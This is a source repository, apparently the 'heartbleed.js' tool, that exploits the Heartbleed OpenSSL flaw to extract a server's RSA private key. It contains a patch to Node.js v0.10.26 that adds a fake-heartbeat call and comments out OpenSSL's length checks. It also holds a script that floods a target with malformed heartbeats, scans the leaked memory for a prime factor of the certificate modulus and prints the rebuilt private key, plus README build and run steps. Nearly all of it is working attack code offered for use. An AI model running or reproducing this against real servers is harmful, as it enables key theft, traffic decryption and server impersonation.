├── .gitignore ├── package.json ├── README.md ├── heartbleed.js └── node-v0.10.26.patch /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | npm-debug.log 3 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "heartbleed.js", 3 | "version": "0.1.2", 4 | "description": "Extract server's private key using Heartbleed", 5 | "repository": { 6 | "type": "git", 7 | "url": "git://github.com/indutny/heartbleed" 8 | }, 9 | "bin": { 10 | "heartbleed": "heartbleed.js" 11 | }, 12 | "main": "heartbleed.js", 13 | "author": "Fedor Indutny ", 14 | "license": "MIT", 15 | "dependencies": { 16 | "asn1.js": "~0.3.0", 17 | "asn1.js-rfc3280": "~0.3.0", 18 | "bignum": "~0.6.2", 19 | "progress": "~1.1.5", 20 | "yargs": "~1.2.1" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Heartbleed 2 | 3 | Extracting server private key using [Heartbleed][0] OpenSSL vulnerability. 4 | 5 | ## How to use 6 | 7 | You will need patched node.js version in order to be able to run this script. 8 | The instructions of compiling it are following: 9 | 10 | ```bash 11 | git clone git://github.com/indutny/heartbleed 12 | git clone git://github.com/joyent/node -b v0.10.26 node-hb 13 | cd node-hb 14 | git apply ../heartbleed/node-v0.10.26.patch 15 | ./configure --prefix=$HOME/.node/0.10.26-hb 16 | make -j24 install 17 | ls ./node 18 | ``` 19 | 20 | Then you could just install this script using npm: 21 | 22 | ```bash 23 | export PATH="$HOME/.node/0.10.26-hb/bin:$PATH" 24 | npm install -g heartbleed.js 25 | ``` 26 | 27 | And run it: 28 | 29 | ```bash 30 | $ heartbleed 31 | Options: 32 | --host [required] 33 | --port [default: 443] 34 | --concurrency [default: 1] 35 | 36 | Missing required arguments: host 37 | 38 | $ heartbleed -h cloudflarechallenge.com -c 1000 >> key.pem 39 | ``` 40 | 41 | #### LICENSE 42 | 43 | This software is licensed under the MIT License. 44 | 45 | Copyright Fedor Indutny, 2014. 46 | 47 | Permission is hereby granted, free of charge, to any person obtaining a 48 | copy of this software and associated documentation files (the 49 | "Software"), to deal in the Software without restriction, including 50 | without limitation the rights to use, copy, modify, merge, publish, 51 | distribute, sublicense, and/or sell copies of the Software, and to permit 52 | persons to whom the Software is furnished to do so, subject to the 53 | following conditions: 54 | 55 | The above copyright notice and this permission notice shall be included 56 | in all copies or substantial portions of the Software. 57 | 58 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 59 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 60 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 61 | NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 62 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 63 | OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE 64 | USE OR OTHER DEALINGS IN THE SOFTWARE. 65 | 66 | [0]: http://heartbleed.com/ 67 | -------------------------------------------------------------------------------- /heartbleed.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | var fs = require('fs'); 3 | var tls = require('tls'); 4 | var dns = require('dns'); 5 | var progress = require('progress'); 6 | var bignum = require('bignum'); 7 | var asn1 = require('asn1.js'); 8 | var rfc3280 = require('asn1.js-rfc3280'); 9 | 10 | var argv = require('yargs') 11 | .demand([ 'host' ]) 12 | .alias('h', 'host') 13 | .alias('p', 'port') 14 | .alias('c', 'concurrency') 15 | .default('port', 443) 16 | .default('concurrency', 1) 17 | .argv; 18 | 19 | process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; 20 | 21 | // Will be lazily loaded 22 | var m; 23 | var e; 24 | var primeSize; 25 | var bar; 26 | var zero = new bignum('0'); 27 | var gbCount = 0; 28 | 29 | console.error('Heartbleeding %s:%d, stay calm...', argv.host, argv.port); 30 | 31 | // Cache hostname's IP to make sure that all requests will go to the same 32 | // place. 33 | dns.lookup(argv.host, function(err, addr) { 34 | if (err) 35 | throw err; 36 | 37 | for (var i = 0; i < argv.concurrency; i++) 38 | heartbleed(addr, argv.port | 0, argv.host); 39 | }); 40 | 41 | function heartbleed(ip, port, host) { 42 | var s = tls.connect(port, ip, function() { 43 | // Lazily load `m` and `e` 44 | if (!m) { 45 | console.error('Cert loaded...'); 46 | var cert = s.getPeerCertificate(); 47 | m = bignum(cert.modulus, 16); 48 | e = bignum(cert.exponent, 10); 49 | primeSize = cert.modulus.length / 4; 50 | } 51 | 52 | setTimeout(function() { 53 | send(); 54 | }, 10); 55 | 56 | var acc = [], total = 0, sent = 0; 57 | function send() { 58 | acc = []; 59 | total = 0; 60 | sent = (65534 * Math.random()) | 1; 61 | s.fakeHeartbeat(sent); 62 | } 63 | s.pair.ssl.onfakeheartbeat = function(buf) { 64 | acc.push(buf); 65 | total += buf.length; 66 | 67 | // Print number of bytes downloaded 68 | reportProgress(buf.length); 69 | 70 | if (total < sent) 71 | return; 72 | var chunk = Buffer.concat(acc, total); 73 | 74 | test(chunk); 75 | send(); 76 | }; 77 | // Ignore all data 78 | s.on('data', function() { }); 79 | 80 | // Send fake requests to keep connection open 81 | function fakeReq() { 82 | if (!s.writable) 83 | return; 84 | s.write('GET / HTTP/1.1\r\n' + 85 | 'Host: ' + host + '\r\n' + 86 | 'Connection: keep-alive\r\n\r\n', function() { 87 | setTimeout(fakeReq, 5000); 88 | }); 89 | } 90 | 91 | fakeReq(); 92 | }); 93 | s.once('error', function(err) { 94 | // Ignore 95 | }); 96 | s.once('close', function() { 97 | heartbleed(ip, port, host); 98 | }); 99 | s.setTimeout(10000, function() { 100 | s.destroy(); 101 | }); 102 | } 103 | 104 | function test(chunk) { 105 | var size = primeSize; 106 | for (var i = 0; i < chunk.length - size - 1; i += 8) { 107 | // Ignore even numbers, and ones that are not terminating with `0` 108 | if (chunk[i] % 2 === 0 || chunk[i + size] !== 0) 109 | continue; 110 | var p = chunk.slice(i, i + size); 111 | 112 | // Skip completely empty chunks 113 | for (var j = p.length - 1; j >= 0; j--) 114 | if (p[j] !== 0) 115 | break; 116 | if (j < 0) 117 | continue; 118 | 119 | // Skip `ones` 120 | if (j == 0 && p[0] == 1) 121 | continue; 122 | 123 | var prime = bignum.fromBuffer(p, { 124 | endian: 'little', 125 | size: 'auto' 126 | }); 127 | if (m.mod(prime).eq(zero)) { 128 | console.error('Found key!'); 129 | console.log('The prime is: ' + prime.toString(16) + '\n'); 130 | console.log('The private key is:\n' + getPrivateKey(prime, m) + '\n'); 131 | 132 | process.exit(); 133 | } 134 | } 135 | } 136 | 137 | var RSAPrivateKey = asn1.define('RSAPrivateKey', function() { 138 | this.seq().obj( 139 | this.key('version').int(), 140 | this.key('modulus').int(), 141 | this.key('publicExponent').int(), 142 | this.key('privateExponent').int(), 143 | this.key('prime1').int(), 144 | this.key('prime2').int(), 145 | this.key('exponent1').int(), 146 | this.key('exponent2').int(), 147 | this.key('coefficient').int() 148 | ); 149 | }); 150 | 151 | function getPrivateKey(p1, m) { 152 | var p2 = m.div(p1); 153 | 154 | var dp1 = p1.sub(1); 155 | var dp2 = p2.sub(1); 156 | var phi = dp1.mul(dp2); 157 | 158 | var d = e.invertm(phi); 159 | var exp1 = d.mod(dp1); 160 | var exp2 = d.mod(dp2); 161 | var coeff = p2.invertm(p1); 162 | 163 | var buf = RSAPrivateKey.encode({ 164 | version: 0, 165 | modulus: m, 166 | publicExponent: e, 167 | privateExponent: d, 168 | prime1: p1, 169 | prime2: p2, 170 | exponent1: exp1, 171 | exponent2: exp2, 172 | coefficient: coeff 173 | }, 'der'); 174 | 175 | buf = buf.toString('base64'); 176 | // Wrap buf at 64 column 177 | var lines = [ '-----BEGIN RSA PRIVATE KEY-----' ]; 178 | for (var i = 0; i < buf.length; i += 64) 179 | lines.push(buf.slice(i, i + 64)); 180 | lines.push('-----END RSA PRIVATE KEY-----', ''); 181 | return lines.join('\n'); 182 | } 183 | 184 | function reportProgress(num) { 185 | // Create 1gb progress bar 186 | if (!bar) { 187 | var range = gbCount + ' - ' + (gbCount + 1) + ' GB'; 188 | bar = new progress(' searching ' + range + 189 | ' [:bar] :percent :elapseds ETA: :etas', { 190 | width: 40, 191 | total: 1024 * 1024 * 1024, 192 | clear: true 193 | }); 194 | } 195 | bar.tick(num); 196 | if (bar.complete) { 197 | gbCount++; 198 | bar = null; 199 | } 200 | } 201 | -------------------------------------------------------------------------------- /node-v0.10.26.patch: -------------------------------------------------------------------------------- 1 | commit 4164ad18cdc080ff020a352b001c6a71515a6291 2 | Author: Fedor Indutny 3 | Date: Fri Apr 11 15:28:43 2014 +0000 4 | 5 | heartbleed 6 | 7 | diff --git a/deps/openssl/openssl.gyp b/deps/openssl/openssl.gyp 8 | index 77af4de..67cb3bb 100644 9 | --- a/deps/openssl/openssl.gyp 10 | +++ b/deps/openssl/openssl.gyp 11 | @@ -22,7 +22,7 @@ 12 | # asked to be not advertised. Unfortunately this is unacceptable for 13 | # Microsoft's IIS, which seems to be ignoring whole ClientHello after 14 | # seeing this extension. 15 | - 'OPENSSL_NO_HEARTBEATS', 16 | + # 'OPENSSL_NO_HEARTBEATS', 17 | ], 18 | 'sources': [ 19 | 'openssl/ssl/bio_ssl.c', 20 | diff --git a/deps/openssl/openssl/ssl/s3_lib.c b/deps/openssl/openssl/ssl/s3_lib.c 21 | index e7c5dcb..efe7ef5 100644 22 | --- a/deps/openssl/openssl/ssl/s3_lib.c 23 | +++ b/deps/openssl/openssl/ssl/s3_lib.c 24 | @@ -3333,7 +3333,7 @@ long ssl3_ctrl(SSL *s, int cmd, long larg, void *parg) 25 | if (SSL_version(s) == DTLS1_VERSION || SSL_version(s) == DTLS1_BAD_VER) 26 | ret = dtls1_heartbeat(s); 27 | else 28 | - ret = tls1_heartbeat(s); 29 | + ret = tls1_heartbeat(s, larg); 30 | break; 31 | 32 | case SSL_CTRL_GET_TLS_EXT_HEARTBEAT_PENDING: 33 | diff --git a/deps/openssl/openssl/ssl/ssl.h b/deps/openssl/openssl/ssl/ssl.h 34 | index 593579e..423cf9b 100644 35 | --- a/deps/openssl/openssl/ssl/ssl.h 36 | +++ b/deps/openssl/openssl/ssl/ssl.h 37 | @@ -679,6 +679,8 @@ struct ssl_session_st 38 | #ifndef OPENSSL_NO_HEARTBEATS 39 | #define SSL_heartbeat(ssl) \ 40 | SSL_ctrl((ssl),SSL_CTRL_TLS_EXT_SEND_HEARTBEAT,0,NULL) 41 | +#define SSL_fake_heartbeat(ssl, size) \ 42 | + SSL_ctrl((ssl),SSL_CTRL_TLS_EXT_SEND_HEARTBEAT,size,NULL) 43 | #endif 44 | 45 | void SSL_CTX_set_msg_callback(SSL_CTX *ctx, void (*cb)(int write_p, int version, int content_type, const void *buf, size_t len, SSL *ssl, void *arg)); 46 | diff --git a/deps/openssl/openssl/ssl/ssl_locl.h b/deps/openssl/openssl/ssl/ssl_locl.h 47 | index 1b98947..9c1d736 100644 48 | --- a/deps/openssl/openssl/ssl/ssl_locl.h 49 | +++ b/deps/openssl/openssl/ssl/ssl_locl.h 50 | @@ -1103,7 +1103,7 @@ int ssl_check_clienthello_tlsext_late(SSL *s); 51 | int ssl_check_serverhello_tlsext(SSL *s); 52 | 53 | #ifndef OPENSSL_NO_HEARTBEATS 54 | -int tls1_heartbeat(SSL *s); 55 | +int tls1_heartbeat(SSL *s, int fake); 56 | int dtls1_heartbeat(SSL *s); 57 | int tls1_process_heartbeat(SSL *s); 58 | int dtls1_process_heartbeat(SSL *s); 59 | diff --git a/deps/openssl/openssl/ssl/t1_lib.c b/deps/openssl/openssl/ssl/t1_lib.c 60 | index e08088c..95d4a2e 100644 61 | --- a/deps/openssl/openssl/ssl/t1_lib.c 62 | +++ b/deps/openssl/openssl/ssl/t1_lib.c 63 | @@ -2487,8 +2487,13 @@ tls1_process_heartbeat(SSL *s) 64 | unsigned int padding = 16; /* Use minimum padding */ 65 | 66 | /* Read type and payload length first */ 67 | + /* if (1 + 2 + 16 > s->s3->rrec.length) 68 | + return 0; /* silently discard */ 69 | + 70 | hbtype = *p++; 71 | n2s(p, payload); 72 | +/* if (1 + 2 + payload + 16 > s->s3->rrec.length) 73 | + return 0; /* silently discard per RFC 6520 sec. 4 */ 74 | pl = p; 75 | 76 | if (s->msg_callback) 77 | @@ -2548,7 +2553,7 @@ tls1_process_heartbeat(SSL *s) 78 | } 79 | 80 | int 81 | -tls1_heartbeat(SSL *s) 82 | +tls1_heartbeat(SSL *s, int fake) 83 | { 84 | unsigned char *buf, *p; 85 | int ret; 86 | @@ -2580,7 +2585,7 @@ tls1_heartbeat(SSL *s) 87 | /* Check if padding is too long, payload and padding 88 | * must not exceed 2^14 - 3 = 16381 bytes in total. 89 | */ 90 | - OPENSSL_assert(payload + padding <= 16381); 91 | + OPENSSL_assert((fake != 0) || (payload + padding <= 16381)); 92 | 93 | /* Create HeartBeat message, we just use a sequence number 94 | * as payload to distuingish different messages and add 95 | @@ -2595,17 +2600,23 @@ tls1_heartbeat(SSL *s) 96 | p = buf; 97 | /* Message Type */ 98 | *p++ = TLS1_HB_REQUEST; 99 | - /* Payload length (18 bytes here) */ 100 | - s2n(payload, p); 101 | - /* Sequence number */ 102 | - s2n(s->tlsext_hb_seq, p); 103 | - /* 16 random bytes */ 104 | - RAND_pseudo_bytes(p, 16); 105 | - p += 16; 106 | - /* Random padding */ 107 | - RAND_pseudo_bytes(p, padding); 108 | - 109 | - ret = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, 3 + payload + padding); 110 | + if (fake) { 111 | + s2n(fake, p); 112 | + ret = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, 3); 113 | + } else { 114 | + /* Payload length (18 bytes here) */ 115 | + s2n(payload, p); 116 | + /* Sequence number */ 117 | + s2n(s->tlsext_hb_seq, p); 118 | + /* 16 random bytes */ 119 | + RAND_pseudo_bytes(p, 16); 120 | + p += 16; 121 | + /* Random padding */ 122 | + RAND_pseudo_bytes(p, padding); 123 | + 124 | + ret = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buf, 3 + payload + padding); 125 | + } 126 | + 127 | if (ret >= 0) 128 | { 129 | if (s->msg_callback) 130 | @@ -2613,7 +2624,8 @@ tls1_heartbeat(SSL *s) 131 | buf, 3 + payload + padding, 132 | s, s->msg_callback_arg); 133 | 134 | - s->tlsext_hb_pending = 1; 135 | + if (!fake) 136 | + s->tlsext_hb_pending = 1; 137 | } 138 | 139 | OPENSSL_free(buf); 140 | diff --git a/lib/tls.js b/lib/tls.js 141 | index 5d04da5..2d58f73 100644 142 | --- a/lib/tls.js 143 | +++ b/lib/tls.js 144 | @@ -752,6 +752,14 @@ function CleartextStream(pair, options) { 145 | util.inherits(CleartextStream, CryptoStream); 146 | 147 | 148 | +CleartextStream.prototype.fakeHeartbeat = function fakeHeartbeat(size) { 149 | + var r = this.pair.ssl.fakeHeartbeat(size); 150 | + this.read(0); 151 | + this._opposite.read(0); 152 | + return r; 153 | +}; 154 | + 155 | + 156 | CleartextStream.prototype._internallyPendingBytes = function() { 157 | if (this.pair.ssl) { 158 | return this.pair.ssl.clearPending(); 159 | diff --git a/src/node_crypto.cc b/src/node_crypto.cc 160 | index e23f150..79d5cd3 100644 161 | --- a/src/node_crypto.cc 162 | +++ b/src/node_crypto.cc 163 | @@ -98,6 +98,7 @@ static Persistent onhandshakedone_sym; 164 | static Persistent onclienthello_sym; 165 | static Persistent onnewsession_sym; 166 | static Persistent sessionid_sym; 167 | +static Persistent onfakeheartbeat_sym; 168 | 169 | static Persistent secure_context_constructor; 170 | 171 | @@ -1028,6 +1029,7 @@ void Connection::Initialize(Handle target) { 172 | NODE_SET_PROTOTYPE_METHOD(t, "start", Connection::Start); 173 | NODE_SET_PROTOTYPE_METHOD(t, "shutdown", Connection::Shutdown); 174 | NODE_SET_PROTOTYPE_METHOD(t, "close", Connection::Close); 175 | + NODE_SET_PROTOTYPE_METHOD(t, "fakeHeartbeat", Connection::FakeHeartbeat); 176 | 177 | #ifdef OPENSSL_NPN_NEGOTIATED 178 | NODE_SET_PROTOTYPE_METHOD(t, "getNegotiatedProtocol", Connection::GetNegotiatedProto); 179 | @@ -1241,6 +1243,10 @@ Handle Connection::New(const Arguments& args) { 180 | 181 | SSL_set_bio(p->ssl_, p->bio_read_, p->bio_write_); 182 | 183 | + SSL_callback_ctrl(p->ssl_, 184 | + SSL_CTRL_SET_MSG_CALLBACK, 185 | + reinterpret_cast(MessageCallback)); 186 | + 187 | #ifdef SSL_MODE_RELEASE_BUFFERS 188 | long mode = SSL_get_mode(p->ssl_); 189 | SSL_set_mode(p->ssl_, mode | SSL_MODE_RELEASE_BUFFERS); 190 | @@ -1756,6 +1762,48 @@ Handle Connection::Start(const Arguments& args) { 191 | } 192 | 193 | 194 | +void Connection::MessageCallback(int write_p, 195 | + int version, 196 | + int content_type, 197 | + const void *buf, 198 | + size_t len, 199 | + SSL *ssl, 200 | + void *arg) { 201 | + if (write_p || content_type != TLS1_RT_HEARTBEAT) 202 | + return; 203 | + 204 | + Connection* c = static_cast(SSL_get_app_data(ssl)); 205 | + HandleScope scope; 206 | + 207 | + Local argv[] = { 208 | + Local::New( 209 | + Buffer::New(reinterpret_cast(buf), len)->handle_) 210 | + }; 211 | + if (onfakeheartbeat_sym.IsEmpty()) { 212 | + onfakeheartbeat_sym = NODE_PSYMBOL("onfakeheartbeat"); 213 | + } 214 | + if (!c->handle_->Has(onfakeheartbeat_sym)) 215 | + return; 216 | + MakeCallback(c->handle_, onfakeheartbeat_sym, ARRAY_SIZE(argv), argv); 217 | +} 218 | + 219 | + 220 | +Handle Connection::FakeHeartbeat(const Arguments& args) { 221 | + HandleScope scope; 222 | + 223 | + Connection *ss = Connection::Unwrap(args); 224 | + 225 | + int err = SSL_fake_heartbeat(ss->ssl_, args[0]->Int32Value()); 226 | + if (err < 0) { 227 | + ERR_print_errors_fp(stderr); 228 | + ThrowError("Failed to send heartbeat"); 229 | + } 230 | + ERR_clear_error(); 231 | + 232 | + return scope.Close(Integer::New(err)); 233 | +} 234 | + 235 | + 236 | Handle Connection::Shutdown(const Arguments& args) { 237 | HandleScope scope; 238 | 239 | diff --git a/src/node_crypto.h b/src/node_crypto.h 240 | index e4c3cfb..a9b46e3 100644 241 | --- a/src/node_crypto.h 242 | +++ b/src/node_crypto.h 243 | @@ -188,6 +188,15 @@ class Connection : ObjectWrap { 244 | static v8::Handle Shutdown(const v8::Arguments& args); 245 | static v8::Handle Start(const v8::Arguments& args); 246 | static v8::Handle Close(const v8::Arguments& args); 247 | + static v8::Handle FakeHeartbeat(const v8::Arguments& args); 248 | + 249 | + static void MessageCallback(int write_p, 250 | + int version, 251 | + int content_type, 252 | + const void *buf, 253 | + size_t len, 254 | + SSL *ssl, 255 | + void *arg); 256 | 257 | static void InitNPN(SecureContext* sc, bool is_server); 258 | 259 | diff --git a/test/simple/test-tls-server-verify.js b/test/simple/test-tls-server-verify.js 260 | index 2b09d82..0542c5a 100644 261 | --- a/test/simple/test-tls-server-verify.js 262 | +++ b/test/simple/test-tls-server-verify.js 263 | @@ -37,6 +37,7 @@ if (!process.versions.openssl) { 264 | 265 | var testCases = 266 | [{ title: 'Do not request certs. Everyone is unauthorized.', 267 | + debug: true, 268 | requestCert: false, 269 | rejectUnauthorized: false, 270 | CAs: ['ca1-cert'], 271 | --------------------------------------------------------------------------------